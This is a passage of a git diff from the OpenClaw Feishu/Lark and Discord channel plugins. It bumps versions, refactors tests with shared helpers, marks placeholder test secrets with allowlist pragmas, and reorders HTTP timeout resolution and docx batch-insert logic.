}) => { + expect(image.format).toBe("pdf"); + params.assertOutputPath?.(outputPath); + await fs.mkdir(path.dirname(outputPath), { recursive: true }); + await fs.writeFile(outputPath, Buffer.from("%PDF-1.7")); + return outputPath; + }, + ); + return { screenshotHtml }; +} + function readTextContent(result: unknown, index: number): string { const content = (result as { content?: Array<{ type?: string; text?: string }> } | undefined) ?.content; diff --git a/extensions/discord/package.json b/extensions/discord/package.json index d018d64929f..1c3fe35f8eb 100644 --- a/extensions/discord/package.json +++ b/extensions/discord/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/discord", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Discord channel plugin", "type": "module", "openclaw": { diff --git a/extensions/feishu/package.json b/extensions/feishu/package.json index 548d7db79b0..716d597576e 100644 --- a/extensions/feishu/package.json +++ b/extensions/feishu/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/feishu", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Feishu/Lark channel plugin (community maintained by @m1heng)", "type": "module", "dependencies": { diff --git a/extensions/feishu/src/accounts.test.ts b/extensions/feishu/src/accounts.test.ts index bc04d4c56c2..979f2fa3791 100644 --- a/extensions/feishu/src/accounts.test.ts +++ b/extensions/feishu/src/accounts.test.ts @@ -9,6 +9,35 @@ import type { FeishuConfig } from "./types.js"; const asConfig = (value: Partial) => value as FeishuConfig; +function withEnvVar(key: string, value: string | undefined, run: () => void) { + const prev = process.env[key]; + if (value === undefined) { + delete process.env[key]; + } else { + process.env[key] = value; + } + try { + run(); + } finally { + if (prev === undefined) { + delete process.env[key]; + } else { + process.env[key] = prev; + } + } +} + +function expectUnresolvedEnvSecretRefError(key: string) { + expect(() => + resolveFeishuCredentials( + asConfig({ + appId: "cli_123", + appSecret: { source: "env", provider: "default", id: key } as never, + }), + ), + ).toThrow(/unresolved SecretRef/i); +} + describe("resolveDefaultFeishuAccountId", () => { it("prefers channels.feishu.defaultAccount when configured", () => { const cfg = { @@ -16,8 +45,8 @@ describe("resolveDefaultFeishuAccountId", () => { feishu: { defaultAccount: "router-d", accounts: { - default: { appId: "cli_default", appSecret: "secret_default" }, - "router-d": { appId: "cli_router", appSecret: "secret_router" }, + default: { appId: "cli_default", appSecret: "secret_default" }, // pragma: allowlist secret + "router-d": { appId: "cli_router", appSecret: "secret_router" }, // pragma: allowlist secret }, }, }, @@ -32,7 +61,7 @@ describe("resolveDefaultFeishuAccountId", () => { feishu: { defaultAccount: "Router D", accounts: { - "router-d": { appId: "cli_router", appSecret: "secret_router" }, + "router-d": { appId: "cli_router", appSecret: "secret_router" }, // pragma: allowlist secret }, }, }, @@ -47,8 +76,8 @@ describe("resolveDefaultFeishuAccountId", () => { feishu: { defaultAccount: "router-d", accounts: { - default: { appId: "cli_default", appSecret: "secret_default" }, - zeta: { appId: "cli_zeta", appSecret: "secret_zeta" }, + default: { appId: "cli_default", appSecret: "secret_default" }, // pragma: allowlist secret + zeta: { appId: "cli_zeta", appSecret: "secret_zeta" }, // pragma: allowlist secret }, }, }, @@ -62,8 +91,8 @@ describe("resolveDefaultFeishuAccountId", () => { channels: { feishu: { accounts: { - default: { appId: "cli_default", appSecret: "secret_default" }, - zeta: { appId: "cli_zeta", appSecret: "secret_zeta" }, + default: { appId: "cli_default", appSecret: "secret_default" }, // pragma: allowlist secret + zeta: { appId: "cli_zeta", appSecret: "secret_zeta" }, // pragma: allowlist secret }, }, }, @@ -90,7 +119,7 @@ describe("resolveDefaultFeishuAccountId", () => { channels: { feishu: { accounts: { - default: { appId: "cli_default", appSecret: "secret_default" }, + default: { appId: "cli_default", appSecret: "secret_default" }, // pragma: allowlist secret }, }, }, @@ -128,24 +157,9 @@ describe("resolveFeishuCredentials", () => { it("throws unresolved SecretRef error when env SecretRef points to missing env var", () => { const key = "FEISHU_APP_SECRET_MISSING_TEST"; - const prev = process.env[key]; - delete process.env[key]; - try { - expect(() => - resolveFeishuCredentials( - asConfig({ - appId: "cli_123", - appSecret: { source: "env", provider: "default", id: key } as never, - }), - ), - ).toThrow(/unresolved SecretRef/i); - } finally { - if (prev === undefined) { - delete process.env[key]; - } else { - process.env[key] = prev; - } - } + withEnvVar(key, undefined, () => { + expectUnresolvedEnvSecretRefError(key); + }); }); it("resolves env SecretRef objects when unresolved refs are allowed", () => { @@ -164,7 +178,7 @@ describe("resolveFeishuCredentials", () => { expect(creds).toEqual({ appId: "cli_123", - appSecret: "secret_from_env", + appSecret: "secret_from_env", // pragma: allowlist secret encryptKey: undefined, verificationToken: undefined, domain: "feishu", @@ -204,24 +218,9 @@ describe("resolveFeishuCredentials", () => { it("preserves unresolved SecretRef diagnostics for env refs in default mode", () => { const key = "FEISHU_APP_SECRET_POLICY_TEST"; - const prev = process.env[key]; - process.env[key] = "secret_from_env"; - try { - expect(() => - resolveFeishuCredentials( - asConfig({ - appId: "cli_123", - appSecret: { source: "env", provider: "default", id: key } as never, - }), - ), - ).toThrow(/unresolved SecretRef/i); - } finally { - if (prev === undefined) { - delete process.env[key]; - } else { - process.env[key] = prev; - } - } + withEnvVar(key, "secret_from_env", () => { + expectUnresolvedEnvSecretRefError(key); + }); }); it("trims and returns credentials when values are valid strings", () => { @@ -236,7 +235,7 @@ describe("resolveFeishuCredentials", () => { expect(creds).toEqual({ appId: "cli_123", - appSecret: "secret_456", + appSecret: "secret_456", // pragma: allowlist secret encryptKey: "enc", verificationToken: "vt", domain: "feishu", @@ -251,9 +250,9 @@ describe("resolveFeishuAccount", () => { feishu: { defaultAccount: "router-d", appId: "top_level_app", - appSecret: "top_level_secret", + appSecret: "top_level_secret", // pragma: allowlist secret accounts: { - default: { appId: "cli_default", appSecret: "secret_default" }, + default: { appId: "cli_default", appSecret: "secret_default" }, // pragma: allowlist secret }, }, }, @@ -273,7 +272,7 @@ describe("resolveFeishuAccount", () => { defaultAccount: "router-d", accounts: { default: { enabled: true }, - "router-d": { appId: "cli_router", appSecret: "secret_router", enabled: true }, + "router-d": { appId: "cli_router", appSecret: "secret_router", enabled: true }, // pragma: allowlist secret }, }, }, @@ -292,8 +291,8 @@ describe("resolveFeishuAccount", () => { feishu: { defaultAccount: "router-d", accounts: { - default: { appId: "cli_default", appSecret: "secret_default" }, - "router-d": { appId: "cli_router", appSecret: "secret_router" }, + default: { appId: "cli_default", appSecret: "secret_default" }, // pragma: allowlist secret + "router-d": { appId: "cli_router", appSecret: "secret_router" }, // pragma: allowlist secret }, }, }, @@ -335,7 +334,7 @@ describe("resolveFeishuAccount", () => { main: { name: { bad: true }, appId: "cli_123", - appSecret: "secret_456", + appSecret: "secret_456", // pragma: allowlist secret } as never, }, }, diff --git a/extensions/feishu/src/bot.test.ts b/extensions/feishu/src/bot.test.ts index f4ea7dd4e08..2da6bcc2c6f 100644 --- a/extensions/feishu/src/bot.test.ts +++ b/extensions/feishu/src/bot.test.ts @@ -1088,7 +1088,7 @@ describe("handleFeishuMessage command authorization", () => { channels: { feishu: { appId: "cli_test", - appSecret: "sec_test", + appSecret: "sec_test", // pragma: allowlist secret groups: { "oc-group": { requireMention: false, @@ -1151,7 +1151,7 @@ describe("handleFeishuMessage command authorization", () => { channels: { feishu: { appId: "cli_scope_bug", - appSecret: "sec_scope_bug", + appSecret: "sec_scope_bug", // pragma: allowlist secret groups: { "oc-group": { requireMention: false, diff --git a/extensions/feishu/src/channel.ts b/extensions/feishu/src/channel.ts index 1e631c407e0..a8fa04d5700 100644 --- a/extensions/feishu/src/channel.ts +++ b/extensions/feishu/src/channel.ts @@ -1,6 +1,7 @@ import type { ChannelMeta, ChannelPlugin, ClawdbotConfig } from "openclaw/plugin-sdk/feishu"; import { - buildBaseChannelStatusSummary, + buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, createDefaultChannelRuntimeState, DEFAULT_ACCOUNT_ID, PAIRING_APPROVED_MESSAGE, @@ -54,6 +55,30 @@ const secretInputJsonSchema = { ], } as const; +function setFeishuNamedAccountEnabled( + cfg: ClawdbotConfig, + accountId: string, + enabled: boolean, +): ClawdbotConfig { + const feishuCfg = cfg.channels?.feishu as FeishuConfig | undefined; + return { + ...cfg, + channels: { + ...cfg.channels, + feishu: { + ...feishuCfg, + accounts: { + ...feishuCfg?.accounts, + [accountId]: { + ...feishuCfg?.accounts?.[accountId], + enabled, + }, + }, + }, + }, + }; +} + export const feishuPlugin: ChannelPlugin = { id: "feishu", meta: { @@ -178,23 +203,7 @@ export const feishuPlugin: ChannelPlugin = { } // For named accounts, set enabled in accounts[accountId] - const feishuCfg = cfg.channels?.feishu as FeishuConfig | undefined; - return { - ...cfg, - channels: { - ...cfg.channels, - feishu: { - ...feishuCfg, - accounts: { - ...feishuCfg?.accounts, - [accountId]: { - ...feishuCfg?.accounts?.[accountId], - enabled, - }, - }, - }, - }, - }; + return setFeishuNamedAccountEnabled(cfg, accountId, enabled); }, deleteAccount: ({ cfg, accountId }) => { const isDefault = accountId === DEFAULT_ACCOUNT_ID; @@ -281,23 +290,7 @@ export const feishuPlugin: ChannelPlugin = { }; } - const feishuCfg = cfg.channels?.feishu as FeishuConfig | undefined; - return { - ...cfg, - channels: { - ...cfg.channels, - feishu: { - ...feishuCfg, - accounts: { - ...feishuCfg?.accounts, - [accountId]: { - ...feishuCfg?.accounts?.[accountId], - enabled: true, - }, - }, - }, - }, - }; + return setFeishuNamedAccountEnabled(cfg, accountId, true); }, }, onboarding: feishuOnboardingAdapter, @@ -342,12 +335,10 @@ export const feishuPlugin: ChannelPlugin = { outbound: feishuOutbound, status: { defaultRuntime: createDefaultChannelRuntimeState(DEFAULT_ACCOUNT_ID, { port: null }), - buildChannelSummary: ({ snapshot }) => ({ - ...buildBaseChannelStatusSummary(snapshot), - port: snapshot.port ?? null, - probe: snapshot.probe, - lastProbeAt: snapshot.lastProbeAt ?? null, - }), + buildChannelSummary: ({ snapshot }) => + buildProbeChannelStatusSummary(snapshot, { + port: snapshot.port ?? null, + }), probeAccount: async ({ account }) => await probeFeishu(account), buildAccountSnapshot: ({ account, runtime, probe }) => ({ accountId: account.accountId, @@ -356,12 +347,8 @@ export const feishuPlugin: ChannelPlugin = { name: account.name, appId: account.appId, domain: account.domain, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, + ...buildRuntimeAccountStatusSnapshot({ runtime, probe }), port: runtime?.port ?? null, - probe, }), }, gateway: { diff --git a/extensions/feishu/src/chat.test.ts b/extensions/feishu/src/chat.test.ts index 631944fa18f..9ebf579f962 100644 --- a/extensions/feishu/src/chat.test.ts +++ b/extensions/feishu/src/chat.test.ts @@ -29,7 +29,7 @@ describe("registerFeishuChatTools", () => { feishu: { enabled: true, appId: "app_id", - appSecret: "app_secret", + appSecret: "app_secret", // pragma: allowlist secret tools: { chat: true }, }, }, @@ -76,7 +76,7 @@ describe("registerFeishuChatTools", () => { feishu: { enabled: true, appId: "app_id", - appSecret: "app_secret", + appSecret: "app_secret", // pragma: allowlist secret tools: { chat: false }, }, }, diff --git a/extensions/feishu/src/client.test.ts b/extensions/feishu/src/client.test.ts index 00c4d0aafd8..ccaf6ea6d0d 100644 --- a/extensions/feishu/src/client.test.ts +++ b/extensions/feishu/src/client.test.ts @@ -59,7 +59,7 @@ const baseAccount: ResolvedFeishuAccount = { enabled: true, configured: true, appId: "app_123", - appSecret: "secret_123", + appSecret: "secret_123", // pragma: allowlist secret domain: "feishu", config: {} as FeishuConfig, }; @@ -101,8 +101,26 @@ describe("createFeishuClient HTTP timeout", () => { clearClientCache(); }); + const getLastClientHttpInstance = () => { + const calls = (LarkClient as unknown as ReturnType).mock.calls; + const lastCall = calls[calls.length - 1]?.[0] as + | { httpInstance?: { get: (...args: unknown[]) => Promise } } + | undefined; + return lastCall?.httpInstance; + }; + + const expectGetCallTimeout = async (timeout: number) => { + const httpInstance = getLastClientHttpInstance(); + expect(httpInstance).toBeDefined(); + await httpInstance?.get("https://example.com/api"); + expect(mockBaseHttpInstance.get).toHaveBeenCalledWith( + "https://example.com/api", + expect.objectContaining({ timeout }), + ); + }; + it("passes a custom httpInstance with default timeout to Lark.Client", () => { - createFeishuClient({ appId: "app_1", appSecret: "secret_1", accountId: "timeout-test" }); + createFeishuClient({ appId: "app_1", appSecret: "secret_1", accountId: "timeout-test" }); // pragma: allowlist secret const calls = (LarkClient as unknown as ReturnType).mock.calls; const lastCall = calls[calls.length - 1][0] as { httpInstance?: unknown }; @@ -110,7 +128,7 @@ describe("createFeishuClient HTTP timeout", () => { }); it("injects default timeout into HTTP request options", async () => { - createFeishuClient({ appId: "app_2", appSecret: "secret_2", accountId: "timeout-inject" }); + createFeishuClient({ appId: "app_2", appSecret: "secret_2", accountId: "timeout-inject" }); // pragma: allowlist secret const calls = (LarkClient as unknown as ReturnType).mock.calls; const lastCall = calls[calls.length - 1][0] as { @@ -132,7 +150,7 @@ describe("createFeishuClient HTTP timeout", () => { }); it("allows explicit timeout override per-request", async () => { - createFeishuClient({ appId: "app_3", appSecret: "secret_3", accountId: "timeout-override" }); + createFeishuClient({ appId: "app_3", appSecret: "secret_3", accountId: "timeout-override" }); // pragma: allowlist secret const calls = (LarkClient as unknown as ReturnType).mock.calls; const lastCall = calls[calls.length - 1][0] as { @@ -151,67 +169,50 @@ describe("createFeishuClient HTTP timeout", () => { it("uses config-configured default timeout when provided", async () => { createFeishuClient({ appId: "app_4", - appSecret: "secret_4", + appSecret: "secret_4", // pragma: allowlist secret accountId: "timeout-config", config: { httpTimeoutMs: 45_000 }, }); - const calls = (LarkClient as unknown as ReturnType).mock.calls; - const lastCall = calls[calls.length - 1][0] as { - httpInstance: { get: (...args: unknown[]) => Promise }; - }; - const httpInstance = lastCall.httpInstance; - - await httpInstance.get("https://example.com/api"); - - expect(mockBaseHttpInstance.get).toHaveBeenCalledWith( - "https://example.com/api", - expect.objectContaining({ timeout: 45_000 }), - ); + await expectGetCallTimeout(45_000); }); it("falls back to default timeout when configured timeout is invalid", async () => { createFeishuClient({ appId: "app_5", - appSecret: "secret_5", + appSecret: "secret_5", // pragma: allowlist secret accountId: "timeout-config-invalid", config: { httpTimeoutMs: -1 }, }); - const calls = (LarkClient as unknown as ReturnType).mock.calls; - const lastCall = calls[calls.length - 1][0] as { - httpInstance: { get: (...args: unknown[]) => Promise }; - }; - const httpInstance = lastCall.httpInstance; - - await httpInstance.get("https://example.com/api"); - - expect(mockBaseHttpInstance.get).toHaveBeenCalledWith( - "https://example.com/api", - expect.objectContaining({ timeout: FEISHU_HTTP_TIMEOUT_MS }), - ); + await expectGetCallTimeout(FEISHU_HTTP_TIMEOUT_MS); }); - it("uses env timeout override when provided", async () => { + it("uses env timeout override when provided and no direct timeout is set", async () => { process.env[FEISHU_HTTP_TIMEOUT_ENV_VAR] = "60000"; createFeishuClient({ appId: "app_8", - appSecret: "secret_8", + appSecret: "secret_8", // pragma: allowlist secret accountId: "timeout-env-override", config: { httpTimeoutMs: 45_000 }, }); - const calls = (LarkClient as unknown as ReturnType).mock.calls; - const lastCall = calls[calls.length - 1][0] as { - httpInstance: { get: (...args: unknown[]) => Promise }; - }; - await lastCall.httpInstance.get("https://example.com/api"); + await expectGetCallTimeout(60_000); + }); - expect(mockBaseHttpInstance.get).toHaveBeenCalledWith( - "https://example.com/api", - expect.objectContaining({ timeout: 60_000 }), - ); + it("prefers direct timeout over env override", async () => { + process.env[FEISHU_HTTP_TIMEOUT_ENV_VAR] = "60000"; + + createFeishuClient({ + appId: "app_10", + appSecret: "secret_10", // pragma: allowlist secret + accountId: "timeout-direct-override", + httpTimeoutMs: 120_000, + config: { httpTimeoutMs: 45_000 }, + }); + + await expectGetCallTimeout(120_000); }); it("clamps env timeout override to max bound", async () => { @@ -219,32 +220,23 @@ describe("createFeishuClient HTTP timeout", () => { createFeishuClient({ appId: "app_9", - appSecret: "secret_9", + appSecret: "secret_9", // pragma: allowlist secret accountId: "timeout-env-clamp", }); - const calls = (LarkClient as unknown as ReturnType).mock.calls; - const lastCall = calls[calls.length - 1][0] as { - httpInstance: { get: (...args: unknown[]) => Promise }; - }; - await lastCall.httpInstance.get("https://example.com/api"); - - expect(mockBaseHttpInstance.get).toHaveBeenCalledWith( - "https://example.com/api", - expect.objectContaining({ timeout: FEISHU_HTTP_TIMEOUT_MAX_MS }), - ); + await expectGetCallTimeout(FEISHU_HTTP_TIMEOUT_MAX_MS); }); it("recreates cached client when configured timeout changes", async () => { createFeishuClient({ appId: "app_6", - appSecret: "secret_6", + appSecret: "secret_6", // pragma: allowlist secret accountId: "timeout-cache-change", config: { httpTimeoutMs: 30_000 }, }); createFeishuClient({ appId: "app_6", - appSecret: "secret_6", + appSecret: "secret_6", // pragma: allowlist secret accountId: "timeout-cache-change", config: { httpTimeoutMs: 45_000 }, }); diff --git a/extensions/feishu/src/client.ts b/extensions/feishu/src/client.ts index 26da3c9bfdd..d9fdde7f059 100644 --- a/extensions/feishu/src/client.ts +++ b/extensions/feishu/src/client.ts @@ -79,6 +79,15 @@ function resolveConfiguredHttpTimeoutMs(creds: FeishuClientCredentials): number return Math.min(Math.max(rounded, 1), FEISHU_HTTP_TIMEOUT_MAX_MS); }; + const fromDirectField = creds.httpTimeoutMs; + if ( + typeof fromDirectField === "number" && + Number.isFinite(fromDirectField) && + fromDirectField > 0 + ) { + return clampTimeout(fromDirectField); + } + const envRaw = process.env[FEISHU_HTTP_TIMEOUT_ENV_VAR]; if (envRaw) { const envValue = Number(envRaw); @@ -88,8 +97,7 @@ function resolveConfiguredHttpTimeoutMs(creds: FeishuClientCredentials): number } const fromConfig = creds.config?.httpTimeoutMs; - const fromDirectField = creds.httpTimeoutMs; - const timeout = fromDirectField ?? fromConfig; + const timeout = fromConfig; if (typeof timeout !== "number" || !Number.isFinite(timeout) || timeout <= 0) { return FEISHU_HTTP_TIMEOUT_MS; } diff --git a/extensions/feishu/src/config-schema.test.ts b/extensions/feishu/src/config-schema.test.ts index 035f89a2940..cdd4724d3fb 100644 --- a/extensions/feishu/src/config-schema.test.ts +++ b/extensions/feishu/src/config-schema.test.ts @@ -36,7 +36,7 @@ describe("FeishuConfigSchema webhook validation", () => { const result = FeishuConfigSchema.safeParse({ connectionMode: "webhook", appId: "cli_top", - appSecret: "secret_top", + appSecret: "secret_top", // pragma: allowlist secret }); expect(result.success).toBe(false); @@ -52,7 +52,7 @@ describe("FeishuConfigSchema webhook validation", () => { connectionMode: "webhook", verificationToken: "token_top", appId: "cli_top", - appSecret: "secret_top", + appSecret: "secret_top", // pragma: allowlist secret }); expect(result.success).toBe(true); @@ -64,7 +64,7 @@ describe("FeishuConfigSchema webhook validation", () => { main: { connectionMode: "webhook", appId: "cli_main", - appSecret: "secret_main", + appSecret: "secret_main", // pragma: allowlist secret }, }, }); @@ -86,7 +86,7 @@ describe("FeishuConfigSchema webhook validation", () => { main: { connectionMode: "webhook", appId: "cli_main", - appSecret: "secret_main", + appSecret: "secret_main", // pragma: allowlist secret }, }, }); @@ -171,7 +171,7 @@ describe("FeishuConfigSchema defaultAccount", () => { const result = FeishuConfigSchema.safeParse({ defaultAccount: "router-d", accounts: { - "router-d": { appId: "cli_router", appSecret: "secret_router" }, + "router-d": { appId: "cli_router", appSecret: "secret_router" }, // pragma: allowlist secret }, }); @@ -182,7 +182,7 @@ describe("FeishuConfigSchema defaultAccount", () => { const result = FeishuConfigSchema.safeParse({ defaultAccount: "router-d", accounts: { - backup: { appId: "cli_backup", appSecret: "secret_backup" }, + backup: { appId: "cli_backup", appSecret: "secret_backup" }, // pragma: allowlist secret }, }); diff --git a/extensions/feishu/src/docx-batch-insert.test.ts b/extensions/feishu/src/docx-batch-insert.test.ts new file mode 100644 index 00000000000..239e46738b4 --- /dev/null +++ b/extensions/feishu/src/docx-batch-insert.test.ts @@ -0,0 +1,90 @@ +import { describe, expect, it, vi } from "vitest"; +import { BATCH_SIZE, insertBlocksInBatches } from "./docx-batch-insert.js"; + +function createCountingIterable(values: T[]) { + let iterations = 0; + return { + values: { + [Symbol.iterator]: function* () { + iterations += 1; + yield* values; + }, + }, + getIterations: () => iterations, + }; +} + +describe("insertBlocksInBatches", () => { + it("builds the source block map once for large flat trees", async () => { + const blockCount = BATCH_SIZE + 200; + const blocks = Array.from({ length: blockCount }, (_, index) => ({ + block_id: `block_${index}`, + block_type: 2, + })); + const counting = createCountingIterable(blocks); + const createMock = vi.fn(async ({ data }: { data: { children_id: string[] } }) => ({ + code: 0, + data: { + children: data.children_id.map((id) => ({ block_id: id })), + }, + })); + const client = { + docx: { + documentBlockDescendant: { + create: createMock, + }, + }, + } as any; + + const result = await insertBlocksInBatches( + client, + "doc_1", + counting.values as any[], + blocks.map((block) => block.block_id), + ); + + expect(counting.getIterations()).toBe(1); + expect(createMock).toHaveBeenCalledTimes(2); + expect(createMock.mock.calls[0]?.[0]?.data.children_id).toHaveLength(BATCH_SIZE); + expect(createMock.mock.calls[1]?.[0]?.data.children_id).toHaveLength(200); + expect(result.children).toHaveLength(blockCount); + }); + + it("keeps nested descendants grouped with their root blocks", async () => { + const createMock = vi.fn( + async ({ + data, + }: { + data: { children_id: string[]; descendants: Array<{ block_id: string }> }; + }) => ({ + code: 0, + data: { + children: data.children_id.map((id) => ({ block_id: id })), + }, + }), + ); + const client = { + docx: { + documentBlockDescendant: { + create: createMock, + }, + }, + } as any; + const blocks = [ + { block_id: "root_a", block_type: 1, children: ["child_a"] }, + { block_id: "child_a", block_type: 2 }, + { block_id: "root_b", block_type: 1, children: ["child_b"] }, + { block_id: "child_b", block_type: 2 }, + ]; + + await insertBlocksInBatches(client, "doc_1", blocks as any[], ["root_a", "root_b"]); + + expect(createMock).toHaveBeenCalledTimes(1); + expect(createMock.mock.calls[0]?.[0]?.data.children_id).toEqual(["root_a", "root_b"]); + expect( + createMock.mock.calls[0]?.[0]?.data.descendants.map( + (block: { block_id: string }) => block.block_id, + ), + ).toEqual(["root_a", "child_a", "root_b", "child_b"]); + }); +}); diff --git a/extensions/feishu/src/docx-batch-insert.ts b/extensions/feishu/src/docx-batch-insert.ts index e38552a4857..b855e53a4a9 100644 --- a/extensions/feishu/src/docx-batch-insert.ts +++ b/extensions/feishu/src/docx-batch-insert.ts @@ -14,16 +14,11 @@ export const BATCH_SIZE = 1000; // Feishu API limit per request type Logger = { info?: (msg: string) => void }; /** - * Collect all descendant blocks for a given set of first-level block IDs. + * Collect all descendant blocks for a given first-level block ID. * Recursively traverses the block tree to gather all children. */ // eslint-disable-next-line @typescript-eslint/no-explicit-any -- SDK block types -function collectDescendants(blocks: any[], firstLevelIds: string[]): any[] { - const blockMap = new Map(); - for (const block of blocks) { - blockMap.set(block.block_id, block); - } - +function collectDescendants(blockMap: Map, rootId: string): any[] { const result: any[] = []; const visited = new Set(); @@ -47,9 +42,7 @@ function collectDescendants(blocks: any[], firstLevelIds: string[]): any[] { } } - for (const id of firstLevelIds) { - collect(id); - } + collect(rootId); return result; } @@ -123,9 +116,13 @@ export async function insertBlocksInBatches( const batches: { firstLevelIds: string[]; blocks: any[] }[] = []; let currentBatch: { firstLevelIds: string[]; blocks: any[] } = { firstLevelIds: [], blocks: [] }; const usedBlockIds = new Set(); + const blockMap = new Map(); + for (const block of blocks) { + blockMap.set(block.block_id, block); + } for (const firstLevelId of firstLevelBlockIds) { - const descendants = collectDescendants(blocks, [firstLevelId]); + const descendants = collectDescendants(blockMap, firstLevelId); const newBlocks = descendants.filter((b) => !usedBlockIds.has(b.block_id)); // A single block whose subtree exceeds the API limit cannot be split diff --git a/extensions/feishu/src/docx.account-selection.test.ts b/extensions/feishu/src/docx.account-selection.test.ts index 18b4083e324..1f11e290815 100644 --- a/extensions/feishu/src/docx.account-selection.test.ts +++ b/extensions/feishu/src/docx.account-selection.test.ts @@ -27,8 +27,8 @@ describe("feishu_doc account selection", () => { feishu: { enabled: true, accounts: { - a: { appId: "app-a", appSecret: "sec-a", tools: { doc: true } }, - b: { appId: "app-b", appSecret: "sec-b", tools: { doc: true } }, + a: { appId: "app-a", appSecret: "sec-a", tools: { doc: true } }, // pragma: allowlist secret + b: { appId: "app-b", appSecret: "sec-b", tools: { doc: true } }, // pragma: allowlist secret }, }, }, diff --git a/extensions/feishu/src/drive.ts b/extensions/feishu/src/drive.ts index f9eacc9287d..227c30fbbb7 100644 --- a/extensions/feishu/src/drive.ts +++ b/extensions/feishu/src/drive.ts @@ -3,15 +3,11 @@ import type { OpenClawPluginApi } from "openclaw/plugin-sdk/feishu"; import { listEnabledFeishuAccounts } from "./accounts.js"; import { FeishuDriveSchema, type FeishuDriveParams } from "./drive-schema.js"; import { createFeishuToolClient, resolveAnyEnabledFeishuToolsConfig } from "./tool-account.js"; - -// ============ Helpers ============ - -function json(data: unknown) { - return { - content: [{ type: "text" as const, text: JSON.stringify(data, null, 2) }], - details: data, - }; -} +import { + jsonToolResult, + toolExecutionErrorResult, + unknownToolActionResult, +} from "./tool-result.js"; // ============ Actions ============ @@ -206,21 +202,21 @@ export function registerFeishuDriveTools(api: OpenClawPluginApi) { }); switch (p.action) { case "list": - return json(await listFolder(client, p.folder_token)); + return jsonToolResult(await listFolder(client, p.folder_token)); case "info": - return json(await getFileInfo(client, p.file_token)); + return jsonToolResult(await getFileInfo(client, p.file_token)); case "create_folder": - return json(await createFolder(client, p.name, p.folder_token)); + return jsonToolResult(await createFolder(client, p.name, p.folder_token)); case "move": - return json(await moveFile(client, p.file_token, p.type, p.folder_token)); + return jsonToolResult(await moveFile(client, p.file_token, p.type, p.folder_token)); case "delete": - return json(await deleteFile(client, p.file_token, p.type)); + return jsonToolResult(await deleteFile(client, p.file_token, p.type)); default: // eslint-disable-next-line @typescript-eslint/no-explicit-any -- exhaustive check fallback - return json({ error: `Unknown action: ${(p as any).action}` }); + return unknownToolActionResult((p as { action?: unknown }).action); } } catch (err) { - return json({ error: err instanceof Error ? err.message : String(err) }); + return toolExecutionErrorResult(err); } }, }; diff --git a/extensions/feishu/src/media.test.ts b/extensions/feishu/src/media.test.ts index 122b4477809..813e5090292 100644 --- a/extensions/feishu/src/media.test.ts +++ b/extensions/feishu/src/media.test.ts @@ -16,6 +16,8 @@ const messageCreateMock = vi.hoisted(() => vi.fn()); const messageResourceGetMock = vi.hoisted(() => vi.fn()); const messageReplyMock = vi.hoisted(() => vi.fn()); +const FEISHU_MEDIA_HTTP_TIMEOUT_MS = 120_000; + vi.mock("./client.js", () => ({ createFeishuClient: createFeishuClientMock, })); @@ -54,6 +56,14 @@ function expectPathIsolatedToTmpRoot(pathValue: string, key: string): void { expect(rel === ".." || rel.startsWith(`..${path.sep}`)).toBe(false); } +function expectMediaTimeoutClientConfigured(): void { + expect(createFeishuClientMock).toHaveBeenCalledWith( + expect.objectContaining({ + httpTimeoutMs: FEISHU_MEDIA_HTTP_TIMEOUT_MS, + }), + ); +} + describe("sendMediaFeishu msg_type routing", () => { beforeEach(() => { vi.clearAllMocks(); @@ -182,7 +192,7 @@ describe("sendMediaFeishu msg_type routing", () => { ); }); - it("uses image upload timeout override for image media", async () => { + it("configures the media client timeout for image uploads", async () => { await sendMediaFeishu({ cfg: {} as any, to: "user:ou_target", @@ -190,11 +200,7 @@ describe("sendMediaFeishu msg_type routing", () => { fileName: "photo.png", }); - expect(imageCreateMock).toHaveBeenCalledWith( - expect.objectContaining({ - timeout: 120_000, - }), - ); + expectMediaTimeoutClientConfigured(); expect(messageCreateMock).toHaveBeenCalledWith( expect.objectContaining({ data: expect.objectContaining({ msg_type: "image" }), @@ -320,9 +326,9 @@ describe("sendMediaFeishu msg_type routing", () => { expect(imageGetMock).toHaveBeenCalledWith( expect.objectContaining({ path: { image_key: imageKey }, - timeout: 120_000, }), ); + expectMediaTimeoutClientConfigured(); expect(result.buffer).toEqual(Buffer.from("image-data")); expect(capturedPath).toBeDefined(); expectPathIsolatedToTmpRoot(capturedPath as string, imageKey); @@ -512,9 +518,9 @@ describe("downloadMessageResourceFeishu", () => { expect.objectContaining({ path: { message_id: "om_audio_msg", file_key: "file_key_audio" }, params: { type: "file" }, - timeout: 120_000, }), ); + expectMediaTimeoutClientConfigured(); expect(result.buffer).toBeInstanceOf(Buffer); }); @@ -532,9 +538,9 @@ describe("downloadMessageResourceFeishu", () => { expect.objectContaining({ path: { message_id: "om_img_msg", file_key: "img_key_1" }, params: { type: "image" }, - timeout: 120_000, }), ); + expectMediaTimeoutClientConfigured(); expect(result.buffer).toBeInstanceOf(Buffer); }); }); diff --git a/extensions/feishu/src/monitor.reaction.test.ts b/extensions/feishu/src/monitor.reaction.test.ts index f69ac647376..5537af6b214 100644 --- a/extensions/feishu/src/monitor.reaction.test.ts +++ b/extensions/feishu/src/monitor.reaction.test.ts @@ -51,6 +51,30 @@ function makeReactionEvent( }; } +function createFetchedReactionMessage(chatId: string) { + return { + messageId: "om_msg1", + chatId, + senderOpenId: "ou_bot", + content: "hello", + contentType: "text", + }; +} + +async function resolveReactionWithLookup(params: { + event?: FeishuReactionCreatedEvent; + lookupChatId: string; +}) { + return await resolveReactionSyntheticEvent({ + cfg, + accountId: "default", + event: params.event ?? makeReactionEvent(), + botOpenId: "ou_bot", + fetchMessage: async () => createFetchedReactionMessage(params.lookupChatId), + uuid: () => "fixed-uuid", + }); +} + type FeishuMention = NonNullable[number]; function buildDebounceConfig(): ClawdbotConfig { @@ -77,7 +101,7 @@ function buildDebounceAccount(): ResolvedFeishuAccount { enabled: true, configured: true, appId: "cli_test", - appSecret: "secret_test", + appSecret: "secret_test", // pragma: allowlist secret domain: "feishu", config: { enabled: true, @@ -152,6 +176,30 @@ function getFirstDispatchedEvent(): FeishuMessageEvent { return firstParams.event; } +function setDedupPassThroughMocks(): void { + vi.spyOn(dedup, 